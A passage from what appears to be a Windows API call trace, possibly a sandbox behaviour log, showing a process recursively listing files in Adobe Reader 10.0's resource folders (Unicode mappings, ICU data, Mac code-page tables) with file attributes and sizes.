ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 1 [0240.485] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 0 [0240.485] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0240.485] GetProcessHeap () returned 0x550000 [0240.485] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0240.485] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1 [0240.485] GetProcessHeap () returned 0x550000 [0240.485] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0240.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0240.486] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.486] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 1 [0240.486] GetProcessHeap () returned 0x550000 [0240.486] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0240.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0240.487] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.487] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICU", cAlternateFileName="")) returned 1 [0240.487] GetProcessHeap () returned 0x550000 [0240.487] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0240.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0240.488] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.488] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl_gb18030.cnv", cAlternateFileName="CTL_GB~1.CNV")) returned 1 [0240.488] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 1 [0240.488] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x345f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt26l.dat", cAlternateFileName="")) returned 0 [0240.488] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0240.488] GetProcessHeap () returned 0x550000 [0240.488] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0240.489] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0240.489] GetProcessHeap () returned 0x550000 [0240.489] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0240.489] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0240.489] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.489] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0240.489] GetProcessHeap () returned 0x550000 [0240.489] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0240.489] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0240.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKSCS.txt", cAlternateFileName="")) returned 1 [0240.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8346b240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3229c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Japanese83pv.txt", cAlternateFileName="JAPANE~1.TXT")) returned 1 [0240.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19ea7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JISX0208.txt", cAlternateFileName="")) returned 1 [0240.491] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x29ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JISX0213.txt", cAlternateFileName="")) returned 1 [0240.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x288d, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbol.txt", cAlternateFileName="")) returned 1 [0240.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 1 [0240.492] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zdingbat.txt", cAlternateFileName="")) returned 0 [0240.492] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0240.492] GetProcessHeap () returned 0x550000 [0240.493] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0240.493] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1 [0240.493] GetProcessHeap () returned 0x550000 [0240.493] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0240.493] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0240.494] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.494] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARABIC.TXT", cAlternateFileName="")) returned 1 [0240.494] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3294, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENTEURO.TXT", cAlternateFileName="")) returned 1 [0240.494] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x31aa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINSIMP.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x520b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINTRAD.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="CORPCHAR.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x34f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CROATIAN.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3478, dwReserved0=0x0, dwReserved1=0x0, cFileName="CYRILLIC.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6145, dwReserved0=0x0, dwReserved1=0x0, cFileName="FARSI.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x342b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREEK.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEBREW.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835037c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x377c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICELAND.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x320dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAPANESE.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834913a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x591cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOREAN.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834b7500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3857, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMAN.TXT", cAlternateFileName="")) returned 1 [0240.495] FindNextFileW (in: hFindFile=0x639808, 